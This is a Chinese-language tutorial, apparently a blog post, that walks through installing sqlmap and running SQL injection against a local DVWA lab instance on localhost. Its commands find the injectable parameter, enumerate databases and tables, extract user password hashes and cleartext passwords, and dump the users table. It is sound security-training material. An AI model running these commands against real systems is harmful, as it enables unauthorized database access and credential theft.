1.下载安装dvwa,可以去此处下载:http://www.dvwa.co.uk/
2.需要安装python运行环境,我使用的是python2.7,python2.7-3.0之间的应该都可以。
3.下载sqlmap包并将其解压
4.直接cmd运行sqlmap,输入sqlmap.py -h查看帮助信息
我在运行sqlmap的时候遇到了这么一个问题,就是输入sqlmap.py -[options]的时候它会报错:
后来在网上找了一下资料,用python sqlmap.py -h运行就可以了。
接下来实际操作一下:
1.SQL Injection界面输入 id为1,我们URL中可以看到这么一个GET请求:http://localhost:8098/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#(级别设置为low);
我们用URL测试之后发现它是重定向至登录页面,所以我们还需要获取一下cookie,可以使用抓包工具查看,也可以使用F12查看
获取cookie之后我们在看一下结果:
python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=c6dqu79cn9gjr31elg6m7ut7p5" --batch
此处,可以看到 id就是存在可以sql注入的参数。
2.查看所有的数据库;
3.查看当前的数据库名称:
python sqlmap.py -u "http://localhost:8098/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=c6dqu79cn9gjr31elg6m7ut7p5" --batch --current-db
4.查看数据库中的所有用户和密码:
python sqlmap.py -u "http://localhost:8098/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=c6dqu79cn9gjr31elg6m7ut7p5" --batch --users --passwords
passsword hash: 显示的哈希密码, clear_text password: 显示的明文密码
5.查看数据里的所有表
python sqlmap.py -u "http://localhost:8098/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=c6dqu79cn9gjr31elg6m7ut7p5" --batch -D dvwa --tables
-D dvwa 是选择数据库
6.查看表中的数据:
python sqlmap.py -u "http://localhost:8098/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=c6dqu79cn9gjr31elg6m7ut7p5" --batch -D dvwa -T users --columns
-T选择数据表
7.将表中的数据进行到处并保存
python sqlmap.py -u "http://localhost:8098/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=c6dqu79cn9gjr31elg6m7ut7p5" --batch -D dvwa -T users -C "user,password" --dump